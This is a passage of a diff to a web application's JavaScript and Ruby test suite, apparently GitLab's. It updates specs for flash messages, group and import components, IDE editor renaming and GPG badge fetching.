@@ -36,10 +36,7 @@ RSpec.describe 'Runner (JavaScript fixtures)' do
get_runners_query_name = 'get_runners.query.graphql'
let_it_be(:query) do
- get_graphql_query_as_string("#{query_path}#{get_runners_query_name}", [
- 'runner/graphql/runner_node.fragment.graphql',
- 'graphql_shared/fragments/pageInfo.fragment.graphql'
- ])
+ get_graphql_query_as_string("#{query_path}#{get_runners_query_name}")
end
it "#{fixtures_path}#{get_runners_query_name}.json" do
@@ -59,9 +56,7 @@ RSpec.describe 'Runner (JavaScript fixtures)' do
get_runner_query_name = 'get_runner.query.graphql'
let_it_be(:query) do
- get_graphql_query_as_string("#{query_path}#{get_runner_query_name}", [
- 'runner/graphql/runner_details.fragment.graphql'
- ])
+ get_graphql_query_as_string("#{query_path}#{get_runner_query_name}")
end
it "#{fixtures_path}#{get_runner_query_name}.json" do
diff --git a/spec/frontend/flash_spec.js b/spec/frontend/flash_spec.js
index 28e8522cc12..96e5202780b 100644
--- a/spec/frontend/flash_spec.js
+++ b/spec/frontend/flash_spec.js
@@ -1,5 +1,4 @@
import createFlash, {
- deprecatedCreateFlash,
createFlashEl,
createAction,
hideFlash,
@@ -125,120 +124,6 @@ describe('Flash', () => {
});
});
- describe('deprecatedCreateFlash', () => {
- const message = 'test';
- const type = 'alert';
- const parent = document;
- const actionConfig = null;
- const fadeTransition = false;
- const addBodyClass = true;
- const defaultParams = [message, type, parent, actionConfig, fadeTransition, addBodyClass];
-
- describe('no flash-container', () => {
- it('does not add to the DOM', () => {
- const flashEl = deprecatedCreateFlash(message);
-
- expect(flashEl).toBeNull();
-
- expect(document.querySelector('.flash-alert')).toBeNull();
- });
- });
-
- describe('with flash-container', () => {
- beforeEach(() => {
- setFixtures(
- '<div class="content-wrapper js-content-wrapper"><div class="flash-container"></div></div>',
- );
- });
-
- afterEach(() => {
- document.querySelector('.js-content-wrapper').remove();
- });
-
- it('adds flash element into container', () => {
- deprecatedCreateFlash(...defaultParams);
-
- expect(document.querySelector('.flash-alert')).not.toBeNull();
-
- expect(document.body.className).toContain('flash-shown');
- });
-
- it('adds flash into specified parent', () => {
- deprecatedCreateFlash(
- message,
- type,
- document.querySelector('.content-wrapper'),
- actionConfig,
- fadeTransition,
- addBodyClass,
- );
-
- expect(document.querySelector('.content-wrapper .flash-alert')).not.toBeNull();
- expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
- });
-
- it('adds container classes when inside content-wrapper', () => {
- deprecatedCreateFlash(...defaultParams);
-
- expect(document.querySelector('.flash-text').className).toBe('flash-text');
- expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
- });
-
- it('does not add container when outside of content-wrapper', () => {
- document.querySelector('.content-wrapper').className = 'js-content-wrapper';
- deprecatedCreateFlash(...defaultParams);
-
- expect(document.querySelector('.flash-text').className.trim()).toContain('flash-text');
- });
-
- it('removes element after clicking', () => {
- deprecatedCreateFlash(...defaultParams);
-
- document.querySelector('.flash-alert .js-close-icon').click();
-
- expect(document.querySelector('.flash-alert')).toBeNull();
-
- expect(document.body.className).not.toContain('flash-shown');
- });
-
- describe('with actionConfig', () => {
- it('adds action link', () => {
- const newActionConfig = { title: 'test' };
- deprecatedCreateFlash(
- message,
- type,
- parent,
- newActionConfig,
- fadeTransition,
- addBodyClass,
- );
-
- expect(document.querySelector('.flash-action')).not.toBeNull();
- });
-
- it('calls actionConfig clickHandler on click', () => {
- const newActionConfig = {
- title: 'test',
- clickHandler: jest.fn(),
- };
-
- deprecatedCreateFlash(
- message,
- type,
- parent,
- newActionConfig,
- fadeTransition,
- addBodyClass,
- );
-
- document.querySelector('.flash-action').click();
-
- expect(newActionConfig.clickHandler).toHaveBeenCalled();
- });
- });
- });
- });
-
describe('createFlash', () => {
const message = 'test';
const type = 'alert';
diff --git a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
index 9a68115e4f6..5a05265afdc 100644
--- a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
@@ -1,9 +1,11 @@
+import { GlButton } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { trimText } from 'helpers/text_helper';
import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import frequentItemsListItemComponent from '~/frequent_items/components/frequent_items_list_item.vue';
import { createStore } from '~/frequent_items/store';
+import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
import { mockProject } from '../mock_data';
const localVue = createLocalVue();
@@ -15,12 +17,12 @@ describe('FrequentItemsListItemComponent', () => {
let store;
const findTitle = () => wrapper.find({ ref: 'frequentItemsItemTitle' });
- const findAvatar = () => wrapper.find({ ref: 'frequentItemsItemAvatar' });
+ const findAvatar = () => wrapper.findComponent(ProjectAvatar);
const findAllTitles = () => wrapper.findAll({ ref: 'frequentItemsItemTitle' });
const findNamespace = () => wrapper.find({ ref: 'frequentItemsItemNamespace' });
- const findAllAnchors = () => wrapper.findAll('a');
+ const findAllButtons = () => wrapper.findAllComponents(GlButton);
const findAllNamespace = () => wrapper.findAll({ ref: 'frequentItemsItemNamespace' });
- const findAvatarContainer = () => wrapper.findAll({ ref: 'frequentItemsItemAvatarContainer' });
+ const findAllAvatars = () => wrapper.findAllComponents(ProjectAvatar);
const findAllMetadataContainers = () =>
wrapper.findAll({ ref: 'frequentItemsItemMetadataContainer' });
@@ -91,16 +93,8 @@ describe('FrequentItemsListItemComponent', () => {
createComponent();
});
- it('should render avatar if avatarUrl is present', () => {
- wrapper.setProps({ avatarUrl: 'path/to/avatar.png' });
-
- return wrapper.vm.$nextTick(() => {
- expect(findAvatar().exists()).toBe(true);
- });
- });
-
- it('should not render avatar if avatarUrl is not present', () => {
- expect(findAvatar().exists()).toBe(false);
+ it('renders avatar', () => {
+ expect(findAvatar().exists()).toBe(true);
});
it('renders root element with the right classes', () => {
@@ -109,8 +103,8 @@ describe('FrequentItemsListItemComponent', () => {
it.each`
name | selector | expected
- ${'anchor'} | ${findAllAnchors} | ${1}
- ${'avatar container'} | ${findAvatarContainer} | ${1}
+ ${'button'} | ${findAllButtons} | ${1}
+ ${'avatar container'} | ${findAllAvatars} | ${1}
${'metadata container'} | ${findAllMetadataContainers} | ${1}
${'title'} | ${findAllTitles} | ${1}
${'namespace'} | ${findAllNamespace} | ${1}
@@ -119,13 +113,10 @@ describe('FrequentItemsListItemComponent', () => {
});
it('tracks when item link is clicked', () => {
- const link = wrapper.find('a');
- // NOTE: this listener is required to prevent the click from going through and causing:
- // `Error: Not implemented: navigation ...`
- link.element.addEventListener('click', (e) => {
- e.preventDefault();
- });
- link.trigger('click');
+ const link = wrapper.findComponent(GlButton);
+
+ link.vm.$emit('click');
+
expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_link', {
label: 'projects_dropdown_frequent_items_list_item',
});
diff --git a/spec/frontend/gpg_badges_spec.js b/spec/frontend/gpg_badges_spec.js
index cd2cc88fa5a..44c70f1ad4d 100644
--- a/spec/frontend/gpg_badges_spec.js
+++ b/spec/frontend/gpg_badges_spec.js
@@ -17,19 +17,23 @@ describe('GpgBadges', () => {
};
const dummyUrl = `${TEST_HOST}/dummy/signatures`;
- beforeEach(() => {
- mock = new MockAdapter(axios);
+ const setForm = ({ utf8 = '✓', search = '' } = {}) => {
setFixtures(`
<form
class="commits-search-form js-signature-container" data-signatures-path="${dummyUrl}" action="${dummyUrl}"
method="get">
- <input name="utf8" type="hidden" value="✓">
- <input type="search" name="search" id="commits-search"class="form-control search-text-input input-short">
+ <input name="utf8" type="hidden" value="${utf8}">
+ <input type="search" name="search" value="${search}" id="commits-search"class="form-control search-text-input input-short">
</form>
<div class="parent-container">
<div class="js-loading-gpg-badge" data-commit-sha="${dummyCommitSha}"></div>
</div>
`);
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ setForm();
});
afterEach(() => {
@@ -62,6 +66,44 @@ describe('GpgBadges', () => {
.catch(done.fail);
});
+ it('fetches commit signatures', async () => {
+ mock.onGet(dummyUrl).replyOnce(200);
+
+ await GpgBadges.fetch();
+
+ expect(mock.history.get).toHaveLength(1);
+ expect(mock.history.get[0]).toMatchObject({
+ params: { search: '', utf8: '✓' },
+ url: dummyUrl,
+ });
+ });
+
+ it('fetches commit signatures with search parameters with spaces', async () => {
+ mock.onGet(dummyUrl).replyOnce(200);
+ setForm({ search: 'my search' });
+
+ await GpgBadges.fetch();
+
+ expect(mock.history.get).toHaveLength(1);
+ expect(mock.history.get[0]).toMatchObject({
+ params: { search: 'my search', utf8: '✓' },
+ url: dummyUrl,
+ });
+ });
+
+ it('fetches commit signatures with search parameters with plus symbols', async () => {
+ mock.onGet(dummyUrl).replyOnce(200);
+ setForm({ search: 'my+search' });
+
+ await GpgBadges.fetch();
+
+ expect(mock.history.get).toHaveLength(1);
+ expect(mock.history.get[0]).toMatchObject({
+ params: { search: 'my+search', utf8: '✓' },
+ url: dummyUrl,
+ });
+ });
+
it('displays a loading spinner', (done) => {
mock.onGet(dummyUrl).replyOnce(200);
diff --git a/spec/frontend/grafana_integration/components/grafana_integration_spec.js b/spec/frontend/grafana_integration/components/grafana_integration_spec.js
index 3cb4dd41574..d5338430054 100644
--- a/spec/frontend/grafana_integration/components/grafana_integration_spec.js
+++ b/spec/frontend/grafana_integration/components/grafana_integration_spec.js
@@ -114,7 +114,6 @@ describe('grafana integration component', () => {
.then(() =>
expect(createFlash).toHaveBeenCalledWith({
message: `There was an error saving your changes. ${message}`,
- type: 'alert',
}),
);
});
diff --git a/spec/frontend/groups/components/app_spec.js b/spec/frontend/groups/components/app_spec.js
index e559c9519f2..da0ff2a64ec 100644
--- a/spec/frontend/groups/components/app_spec.js
+++ b/spec/frontend/groups/components/app_spec.js
@@ -1,9 +1,9 @@
-import '~/flash';
import { GlModal, GlLoadingIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import Vue from 'vue';
import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
import appComponent from '~/groups/components/app.vue';
import groupFolderComponent from '~/groups/components/group_folder.vue';
import groupItemComponent from '~/groups/components/group_item.vue';
@@ -27,6 +27,7 @@ import {
const $toast = {
show: jest.fn(),
};
+jest.mock('~/flash');
describe('AppComponent', () => {
let wrapper;
@@ -123,12 +124,12 @@ describe('AppComponent', () => {
mock.onGet('/dashboard/groups.json').reply(400);
jest.spyOn(window, 'scrollTo').mockImplementation(() => {});
- jest.spyOn(window, 'Flash').mockImplementation(() => {});
-
return vm.fetchGroups({}).then(() => {
expect(vm.isLoading).toBe(false);
expect(window.scrollTo).toHaveBeenCalledWith({ behavior: 'smooth', top: 0 });
- expect(window.Flash).toHaveBeenCalledWith('An error occurred. Please try again.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred. Please try again.',
+ });
});
});
});
@@ -324,15 +325,13 @@ describe('AppComponent', () => {
const message = 'An error occurred. Please try again.';
jest.spyOn(vm.service, 'leaveGroup').mockRejectedValue({ status: 500 });
jest.spyOn(vm.store, 'removeGroup');
- jest.spyOn(window, 'Flash').mockImplementation(() => {});
-
vm.leaveGroup();
expect(vm.targetGroup.isBeingRemoved).toBe(true);
expect(vm.service.leaveGroup).toHaveBeenCalledWith(childGroupItem.leavePath);
return waitForPromises().then(() => {
expect(vm.store.removeGroup).not.toHaveBeenCalled();
- expect(window.Flash).toHaveBeenCalledWith(message);
+ expect(createFlash).toHaveBeenCalledWith({ message });
expect(vm.targetGroup.isBeingRemoved).toBe(false);
});
});
@@ -341,15 +340,13 @@ describe('AppComponent', () => {
const message = 'Failed to leave the group. Please make sure you are not the only owner.';
jest.spyOn(vm.service, 'leaveGroup').mockRejectedValue({ status: 403 });
jest.spyOn(vm.store, 'removeGroup');
- jest.spyOn(window, 'Flash').mockImplementation(() => {});
-
vm.leaveGroup(childGroupItem, groupItem);
expect(vm.targetGroup.isBeingRemoved).toBe(true);
expect(vm.service.leaveGroup).toHaveBeenCalledWith(childGroupItem.leavePath);
return waitForPromises().then(() => {
expect(vm.store.removeGroup).not.toHaveBeenCalled();
- expect(window.Flash).toHaveBeenCalledWith(message);
+ expect(createFlash).toHaveBeenCalledWith({ message });
expect(vm.targetGroup.isBeingRemoved).toBe(false);
});
});
diff --git a/spec/frontend/groups/components/group_item_spec.js b/spec/frontend/groups/components/group_item_spec.js
index 546cdd3cd6f..2369685f506 100644
--- a/spec/frontend/groups/components/group_item_spec.js
+++ b/spec/frontend/groups/components/group_item_spec.js
@@ -162,11 +162,11 @@ describe('GroupItemComponent', () => {
wrapper = createComponent({ group });
});
- it('renders the group pending removal badge', () => {
+ it('renders the group pending deletion badge', () => {
const badgeEl = wrapper.vm.$el.querySelector('.badge-warning');
expect(badgeEl).toBeDefined();
- expect(badgeEl.innerHTML).toContain('pending removal');
+ expect(badgeEl.innerHTML).toContain('pending deletion');
});
});
@@ -176,10 +176,10 @@ describe('GroupItemComponent', () => {
wrapper = createComponent({ group });
});
- it('does not render the group pending removal badge', () => {
+ it('does not render the group pending deletion badge', () => {
const groupTextContainer = wrapper.vm.$el.querySelector('.group-text-container');
- expect(groupTextContainer).not.toContain('pending removal');
+ expect(groupTextContainer).not.toContain('pending deletion');
});
it('renders `item-actions` component and passes correct props to it', () => {
@@ -236,13 +236,13 @@ describe('GroupItemComponent', () => {
describe('schema.org props', () => {
describe('when showSchemaMarkup is disabled on the group', () => {
it.each(['itemprop', 'itemtype', 'itemscope'], 'it does not set %s', (attr) => {
- expect(wrapper.vm.$el.getAttribute(attr)).toBeNull();
+ expect(wrapper.attributes(attr)).toBeUndefined();
});
it.each(
['.js-group-avatar', '.js-group-name', '.js-group-description'],
'it does not set `itemprop` on sub-nodes',
(selector) => {
- expect(wrapper.vm.$el.querySelector(selector).getAttribute('itemprop')).toBeNull();
+ expect(wrapper.find(selector).attributes('itemprop')).toBeUndefined();
},
);
});
@@ -263,16 +263,16 @@ describe('GroupItemComponent', () => {
${'itemtype'} | ${'https://schema.org/Organization'}
${'itemprop'} | ${'subOrganization'}
`('it does set correct $attr', ({ attr, value } = {}) => {
- expect(wrapper.vm.$el.getAttribute(attr)).toBe(value);
+ expect(wrapper.attributes(attr)).toBe(value);
});
it.each`
selector | propValue
- ${'[data-testid="group-avatar"]'} | ${'logo'}
+ ${'img'} | ${'logo'}
${'[data-testid="group-name"]'} | ${'name'}
${'[data-testid="group-description"]'} | ${'description'}
`('it does set correct $selector', ({ selector, propValue } = {}) => {
- expect(wrapper.vm.$el.querySelector(selector).getAttribute('itemprop')).toBe(propValue);
+ expect(wrapper.find(selector).attributes('itemprop')).toBe(propValue);
});
});
});
diff --git a/spec/frontend/ide/components/ide_project_header_spec.js b/spec/frontend/ide/components/ide_project_header_spec.js
new file mode 100644
index 00000000000..fc39651c661
--- /dev/null
+++ b/spec/frontend/ide/components/ide_project_header_spec.js
@@ -0,0 +1,44 @@
+import { shallowMount } from '@vue/test-utils';
+import IDEProjectHeader from '~/ide/components/ide_project_header.vue';
+import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
+
+const mockProject = {
+ name: 'test proj',
+ avatar_url: 'https://gitlab.com',
+ path_with_namespace: 'path/with-namespace',
+ web_url: 'https://gitlab.com/project',
+};
+
+describe('IDE project header', () => {
+ let wrapper;
+
+ const findProjectAvatar = () => wrapper.findComponent(ProjectAvatar);
+ const findProjectLink = () => wrapper.find('[data-testid="go-to-project-link"');
+
+ const createComponent = () => {
+ wrapper = shallowMount(IDEProjectHeader, { propsData: { project: mockProject } });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders ProjectAvatar with correct props', () => {
+ expect(findProjectAvatar().props()).toMatchObject({
+ projectName: mockProject.name,
+ projectAvatarUrl: mockProject.avatar_url,
+ });
+ });
+
+ it('renders a link to the project URL', () => {
+ const link = findProjectLink();
+ expect(link.exists()).toBe(true);
+ expect(link.attributes('href')).toBe(mockProject.web_url);
+ });
+ });
+});
diff --git a/spec/frontend/ide/components/new_dropdown/modal_spec.js b/spec/frontend/ide/components/new_dropdown/modal_spec.js
index fce6ccf4b58..41111f5dbb4 100644
--- a/spec/frontend/ide/components/new_dropdown/modal_spec.js
+++ b/spec/frontend/ide/components/new_dropdown/modal_spec.js
@@ -184,9 +184,6 @@ describe('new file modal component', () => {
expect(createFlash).toHaveBeenCalledWith({
message: 'The name "test-path/test" is already taken in this directory.',
- type: 'alert',
- parent: expect.anything(),
- actionConfig: null,
fadeTransition: false,
addBodyClass: true,
});
diff --git a/spec/frontend/ide/components/repo_editor_spec.js b/spec/frontend/ide/components/repo_editor_spec.js
index 8e8fb31b15a..4bf3334ae6b 100644
--- a/spec/frontend/ide/components/repo_editor_spec.js
+++ b/spec/frontend/ide/components/repo_editor_spec.js
@@ -8,8 +8,8 @@ import waitForPromises from 'helpers/wait_for_promises';
import waitUsingRealTimer from 'helpers/wait_using_real_timer';
import { exampleConfigs, exampleFiles } from 'jest/ide/lib/editorconfig/mock_data';
import { EDITOR_CODE_INSTANCE_FN, EDITOR_DIFF_INSTANCE_FN } from '~/editor/constants';
-import EditorLite from '~/editor/editor_lite';
-import { EditorWebIdeExtension } from '~/editor/extensions/editor_lite_webide_ext';
+import { EditorWebIdeExtension } from '~/editor/extensions/source_editor_webide_ext';
+import SourceEditor from '~/editor/source_editor';
import RepoEditor from '~/ide/components/repo_editor.vue';
import {
leftSidebarViews,
@@ -123,8 +123,8 @@ describe('RepoEditor', () => {
const findPreviewTab = () => wrapper.find('[data-testid="preview-tab"]');
beforeEach(() => {
- createInstanceSpy = jest.spyOn(EditorLite.prototype, EDITOR_CODE_INSTANCE_FN);
- createDiffInstanceSpy = jest.spyOn(EditorLite.prototype, EDITOR_DIFF_INSTANCE_FN);
+ createInstanceSpy = jest.spyOn(SourceEditor.prototype, EDITOR_CODE_INSTANCE_FN);
+ createDiffInstanceSpy = jest.spyOn(SourceEditor.prototype, EDITOR_DIFF_INSTANCE_FN);
createModelSpy = jest.spyOn(monacoEditor, 'createModel');
jest.spyOn(service, 'getFileData').mockResolvedValue();
jest.spyOn(service, 'getRawFileData').mockResolvedValue();
@@ -252,7 +252,7 @@ describe('RepoEditor', () => {
);
it('installs the WebIDE extension', async () => {
- const extensionSpy = jest.spyOn(EditorLite, 'instanceApplyExtension');
+ const extensionSpy = jest.spyOn(SourceEditor, 'instanceApplyExtension');
await createComponent();
expect(extensionSpy).toHaveBeenCalled();
Reflect.ownKeys(EditorWebIdeExtension.prototype)
@@ -640,11 +640,12 @@ describe('RepoEditor', () => {
pasteImage();
await waitForFileContentChange();
+ expect(vm.$store.state.entries['foo/foo.png'].rawPath.startsWith('blob:')).toBe(true);
expect(vm.$store.state.entries['foo/foo.png']).toMatchObject({
path: 'foo/foo.png',
type: 'blob',
- content: 'Zm9v',
- rawPath: 'data:image/png;base64,Zm9v',
+ content: 'foo',
+ rawPath: vm.$store.state.entries['foo/foo.png'].rawPath,
});
});
diff --git a/spec/frontend/ide/services/index_spec.js b/spec/frontend/ide/services/index_spec.js
index 925446aa280..eacf1244d55 100644
--- a/spec/frontend/ide/services/index_spec.js
+++ b/spec/frontend/ide/services/index_spec.js
@@ -292,7 +292,7 @@ describe('IDE services', () => {
it('posts to usage endpoint', () => {
const TEST_PROJECT_PATH = 'foo/bar';
- const axiosURL = `${TEST_RELATIVE_URL_ROOT}/${TEST_PROJECT_PATH}/usage_ping/web_ide_pipelines_count`;
+ const axiosURL = `${TEST_RELATIVE_URL_ROOT}/${TEST_PROJECT_PATH}/service_ping/web_ide_pipelines_count`;
mock.onPost(axiosURL).reply(200);
diff --git a/spec/frontend/ide/stores/modules/clientside/actions_spec.js b/spec/frontend/ide/stores/modules/clientside/actions_spec.js
index c167d056039..88d7a630a90 100644
--- a/spec/frontend/ide/stores/modules/clientside/actions_spec.js
+++ b/spec/frontend/ide/stores/modules/clientside/actions_spec.js
@@ -5,7 +5,7 @@ import * as actions from '~/ide/stores/modules/clientside/actions';
import axios from '~/lib/utils/axios_utils';
const TEST_PROJECT_URL = `${TEST_HOST}/lorem/ipsum`;
-const TEST_USAGE_URL = `${TEST_PROJECT_URL}/usage_ping/web_ide_clientside_preview`;
+const TEST_USAGE_URL = `${TEST_PROJECT_URL}/service_ping/web_ide_clientside_preview`;
describe('IDE store module clientside actions', () => {
let rootGetters;
diff --git a/spec/frontend/ide/stores/utils_spec.js b/spec/frontend/ide/stores/utils_spec.js
index 8f7b8c5e311..79b6b66319e 100644
--- a/spec/frontend/ide/stores/utils_spec.js
+++ b/spec/frontend/ide/stores/utils_spec.js
@@ -604,7 +604,7 @@ describe('Multi-file store utils', () => {
let entries;
beforeEach(() => {
- const img = { content: '/base64/encoded/image+' };
+ const img = { content: 'png-gibberish', rawPath: 'blob:1234' };
mdFile = { path: 'path/to/some/directory/myfile.md' };
entries = {
// invalid (or lack of) extensions are also supported as long as there's
@@ -637,14 +637,14 @@ describe('Multi-file store utils', () => {
${'* ![img](img.png "title here")'} | ${'png'} | ${'img'} | ${'title here'}
`(
'correctly transforms markdown with uncommitted images: $markdownBefore',
- ({ markdownBefore, ext, imgAlt, imgTitle }) => {
+ ({ markdownBefore, imgAlt, imgTitle }) => {
mdFile.content = markdownBefore;
expect(utils.extractMarkdownImagesFromEntries(mdFile, entries)).toEqual({
content: '* {{gl_md_img_1}}',
images: {
'{{gl_md_img_1}}': {
- src: `data:image/${ext};base64,/base64/encoded/image+`,
+ src: 'blob:1234',
alt: imgAlt,
title: imgTitle,
},
diff --git a/spec/frontend/import_entities/components/group_dropdown_spec.js b/spec/frontend/import_entities/components/group_dropdown_spec.js
new file mode 100644
index 00000000000..f7aa0e889ea
--- /dev/null
+++ b/spec/frontend/import_entities/components/group_dropdown_spec.js
@@ -0,0 +1,44 @@
+import { GlSearchBoxByType, GlDropdown } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import GroupDropdown from '~/import_entities/components/group_dropdown.vue';
+
+describe('Import entities group dropdown component', () => {
+ let wrapper;
+ let namespacesTracker;
+
+ const createComponent = (propsData) => {
+ namespacesTracker = jest.fn();
+
+ wrapper = shallowMount(GroupDropdown, {
+ scopedSlots: {
+ default: namespacesTracker,
+ },
+ stubs: { GlDropdown },
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('passes namespaces from props to default slot', () => {
+ const namespaces = ['ns1', 'ns2'];
+ createComponent({ namespaces });
+
+ expect(namespacesTracker).toHaveBeenCalledWith({ namespaces });
+ });
+
+ it('filters namespaces based on user input', async () => {
+ const namespaces = ['match1', 'some unrelated', 'match2'];
+ createComponent({ namespaces });
+
+ namespacesTracker.mockReset();
+ wrapper.find(GlSearchBoxByType).vm.$emit('input', 'match');
+
+ await nextTick();
+
+ expect(namespacesTracker).toHaveBeenCalledWith({ namespaces: ['match1', 'match2'] });
+ });
+});
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
index aa6a40cad18..654a8fd00d3 100644
--- a/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
@@ -1,8 +1,9 @@
-import { GlButton, GlDropdown, GlDropdownItem, GlLink, GlFormInput } from '@gitlab/ui';
+import { GlButton, GlDropdownItem, GlLink, GlFormInput } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
+import ImportGroupDropdown from '~/import_entities/components/group_dropdown.vue';
import { STATUSES } from '~/import_entities/constants';
import ImportTableRow from '~/import_entities/import_groups/components/import_table_row.vue';
import addValidationErrorMutation from '~/import_entities/import_groups/graphql/mutations/add_validation_error.mutation.graphql';
@@ -41,7 +42,7 @@ describe('import table row', () => {
};
const findImportButton = () => findByText(GlButton, 'Import');
const findNameInput = () => wrapper.find(GlFormInput);
- const findNamespaceDropdown = () => wrapper.find(GlDropdown);
+ const findNamespaceDropdown = () => wrapper.find(ImportGroupDropdown);
const createComponent = (props) => {
apolloProvider = createMockApollo([
@@ -65,6 +66,7 @@ describe('import table row', () => {
wrapper = shallowMount(ImportTableRow, {
apolloProvider,
+ stubs: { ImportGroupDropdown },
propsData: {
availableNamespaces: availableNamespacesFixture,
groupPathRegex: /.*/,
diff --git a/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js b/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js
index d9f4168f1a5..0e748baa313 100644
--- a/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js
+++ b/spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js
@@ -11,6 +11,8 @@ import state from '~/import_entities/import_projects/store/state';
describe('ImportProjectsTable', () => {
let wrapper;
+ const USER_NAMESPACE = 'root';
+
const findFilterField = () =>
wrapper
.findAllComponents(GlFormInput)
@@ -48,7 +50,7 @@ describe('ImportProjectsTable', () => {
localVue.use(Vuex);
const store = new Vuex.Store({
- state: { ...state(), ...initialState },
+ state: { ...state(), defaultTargetNamespace: USER_NAMESPACE, ...initialState },
getters: {
...getters,
...customGetters,
diff --git a/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js b/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js
index e15389be53a..72640f3d601 100644
--- a/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js
+++ b/spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js
@@ -1,11 +1,11 @@
-import { GlBadge, GlButton } from '@gitlab/ui';
+import { GlBadge, GlButton, GlDropdown } from '@gitlab/ui';
import { createLocalVue, shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import Vuex from 'vuex';
import { STATUSES } from '~/import_entities//constants';
+import ImportGroupDropdown from '~/import_entities/components/group_dropdown.vue';
import ImportStatus from '~/import_entities/components/import_status.vue';
import ProviderRepoTableRow from '~/import_entities/import_projects/components/provider_repo_table_row.vue';
-import Select2Select from '~/vue_shared/components/select2_select.vue';
describe('ProviderRepoTableRow', () => {
let wrapper;
@@ -16,10 +16,8 @@ describe('ProviderRepoTableRow', () => {
newName: 'newName',
};
- const availableNamespaces = [
- { text: 'Groups', children: [{ id: 'test', text: 'test' }] },
- { text: 'Users', children: [{ id: 'root', text: 'root' }] },
- ];
+ const availableNamespaces = ['test'];
+ const userNamespace = 'root';
function initStore(initialState) {
const store = new Vuex.Store({
@@ -48,7 +46,7 @@ describe('ProviderRepoTableRow', () => {
wrapper = shallowMount(ProviderRepoTableRow, {
localVue,
store,
- propsData: { availableNamespaces, ...props },
+ propsData: { availableNamespaces, userNamespace, ...props },
});
}
@@ -81,9 +79,8 @@ describe('ProviderRepoTableRow', () => {
expect(wrapper.find(ImportStatus).props().status).toBe(STATUSES.NONE);
});
- it('renders a select2 namespace select', () => {
- expect(wrapper.find(Select2Select).exists()).toBe(true);
- expect(wrapper.find(Select2Select).props().options.data).toBe(availableNamespaces);
+ it('renders a group namespace select', () => {
+ expect(wrapper.find(ImportGroupDropdown).props().namespaces).toBe(availableNamespaces);
});
it('renders import button', () => {
@@ -133,7 +130,7 @@ describe('ProviderRepoTableRow', () => {
});
it('does not renders a namespace select', () => {
- expect(wrapper.find(Select2Select).exists()).toBe(false);
+ expect(wrapper.find(GlDropdown).exists()).toBe(false);
});
it('does not render import button', () => {
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
index 4f70f908c4a..1e3c344ce65 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
@@ -39,7 +39,9 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
class="settings-content"
>
<gl-tabs-stub
+ queryparamname="tab"
theme="indigo"
+ value="0"
>
<!---->
diff --git a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
index f4342c56f98..1b0253480e0 100644
--- a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
+++ b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
@@ -39,7 +39,6 @@ describe('IncidentsSettingsService', () => {
return service.updateSettings({}).then(() => {
expect(createFlash).toHaveBeenCalledWith({
message: expect.stringContaining(ERROR_MSG),
- type: 'alert',
});
});
});
diff --git a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
index eb5f7e9fe40..2860d3cc37a 100644
--- a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
@@ -2,7 +2,6 @@ import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import JiraIssuesFields from '~/integrations/edit/components/jira_issues_fields.vue';
-import JiraUpgradeCta from '~/integrations/edit/components/jira_upgrade_cta.vue';
import eventHub from '~/integrations/edit/event_hub';
import { createStore } from '~/integrations/edit/store';
@@ -14,6 +13,7 @@ describe('JiraIssuesFields', () => {
editProjectPath: '/edit',
showJiraIssuesIntegration: true,
showJiraVulnerabilitiesIntegration: true,
+ upgradePlanPath: 'https://gitlab.com',
};
